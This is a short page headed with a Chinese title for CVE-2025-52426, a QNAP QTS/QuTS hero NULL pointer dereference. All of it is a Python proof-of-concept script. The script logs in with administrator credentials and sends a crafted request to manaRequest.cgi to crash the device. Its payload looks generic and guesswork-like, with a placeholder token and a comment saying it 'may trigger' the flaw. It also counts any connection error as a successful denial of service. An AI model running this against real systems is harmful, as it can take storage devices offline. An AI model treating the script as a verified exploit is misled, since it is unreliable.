CVE-2025-52426 QNAP QTS/QuTS hero NULL指针解引用拒绝服务漏洞

# CVE-2025-52426 NULL Pointer Dereference PoC # Target: QNAP QTS/QuTS hero # Requirement: Administrator credentials # This PoC demonstrates the vulnerability trigger mechanism import requests import sys from urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) TARGET_URL = "https://target-ip:8080" USERNAME = "admin" PASSWORD = "password" def authenticate(): """Authenticate to QNAP device and obtain session cookie""" session = requests.Session() auth_url = f"{TARGET_URL}/cgi-bin/authLogin.cgi" auth_data = { "username": USERNAME, "password": PASSWORD } try: response = session.post(auth_url, data=auth_data, verify=False, timeout=10) if response.status_code == 200 and "sid" in response.text: print(f"[+] Authentication successful") return session else: print(f"[-] Authentication failed") return None except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") return None def trigger_vulnerability(session): """Trigger NULL pointer dereference via crafted request""" exploit_url = f"{TARGET_URL}/cgi-bin/management/manaRequest.cgi" headers = { "Content-Type": "application/x-www-form-urlencoded", "X-Token": "crafted_token_value" } # Malformed request payload that may trigger NULL dereference payload = { "func": "advanced_settings", "subfunc": "network", "action": "modify", "config": "NULL" } try: response = session.post(exploit_url, data=payload, headers=headers, verify=False, timeout=5) print(f"[*] Request sent, status code: {response.status_code}") return response except requests.exceptions.RequestException as e: print(f"[+] DoS condition detected: {e}") return None if __name__ == "__main__": print("[*] CVE-2025-52426 NULL Pointer Dereference PoC") print("[*] Target: QNAP QTS/QuTS hero") session = authenticate() if session: trigger_vulnerability(session) print("[*] PoC execution completed")